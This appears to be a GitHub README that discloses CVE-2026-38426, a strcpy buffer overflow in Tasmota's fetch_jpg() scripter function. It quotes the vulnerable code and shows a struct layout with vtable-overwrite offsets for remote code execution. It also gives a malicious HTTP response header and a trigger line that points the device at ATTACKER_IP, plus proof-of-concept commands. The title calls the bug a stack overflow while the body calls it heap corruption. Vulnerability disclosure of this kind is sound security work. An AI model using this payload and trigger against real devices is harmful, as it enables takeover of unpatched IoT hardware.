sermikr0/CVE-2026-38426
GitHub: sermikr0/CVE-2026-38426
Stars: 0 | Forks: 0
# CVE-2026-38426: strcpy() Stack Buffer Overflow in Tasmota fetch_jpg() boundary[40]
**CVE:** CVE-2026-38426
**Severity:** Critical (CVSS 9.8)
**Product:** Arendst Tasmota
**Affected Version:** <= 15.3.0.3
**File:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino`
**Function:** `fetch_jpg()` — case 0 (initial connection)
**Author:** Saidakbarxon Maxsudxonov
**Disclosure:** Responsible — reported to Tasmota before publication
## Summary
A classic `strcpy()` buffer overflow vulnerability exists in the `fetch_jpg()` function of Tasmota's scripter driver. The MJPEG boundary string extracted from the HTTP `Content-Type` response header is copied into a fixed 40-byte buffer (`boundary[40]`) without any length validation. An attacker controlling the MJPEG HTTP server can supply a boundary string longer than 39 characters to overflow the buffer and corrupt adjacent heap memory — potentially achieving remote code execution on the ESP32.
## Vulnerable Code
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
## Heap Memory Layout (ESP32)
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
Overwriting the `WiFiClient` or `HTTPClient` vtable pointer with an attacker-controlled value triggers RCE when any virtual method (`read()`, `write()`, `connect()`) is subsequently called.
## Attack Scenario
The attacker runs an HTTP server that Tasmota connects to via `fetchjp()`. The server responds with a `Content-Type` header containing a boundary string longer than 39 characters:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tasmota's `strcpy()` copies 50+ bytes into the 40-byte `boundary` buffer, overflowing into adjacent struct fields.
**Trigger via Tasmota script:**
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
## Proof of Concept
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
See [CVE-2026-38426_poc.py](CVE-2026-38426_poc.py) for full implementation.
## Impact
- **Confidentiality:** High (RCE via vtable hijack on ESP32)
- **Integrity:** High
- **Availability:** High (guaranteed crash)
- **Attack Vector:** Network
- **Authentication:** None required
## Timeline
- **2026-03-29:** Vulnerability discovered and reported to MITRE
- **2026-03-29:** CVE-2026-38426 assigned
- **2026-05-xx:** Patch released by Tasmota (v15.3.0.4+)
## References
- [Tasmota GitHub](https://github.com/arendst/Tasmota)
- [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino)
- CVE-2026-38426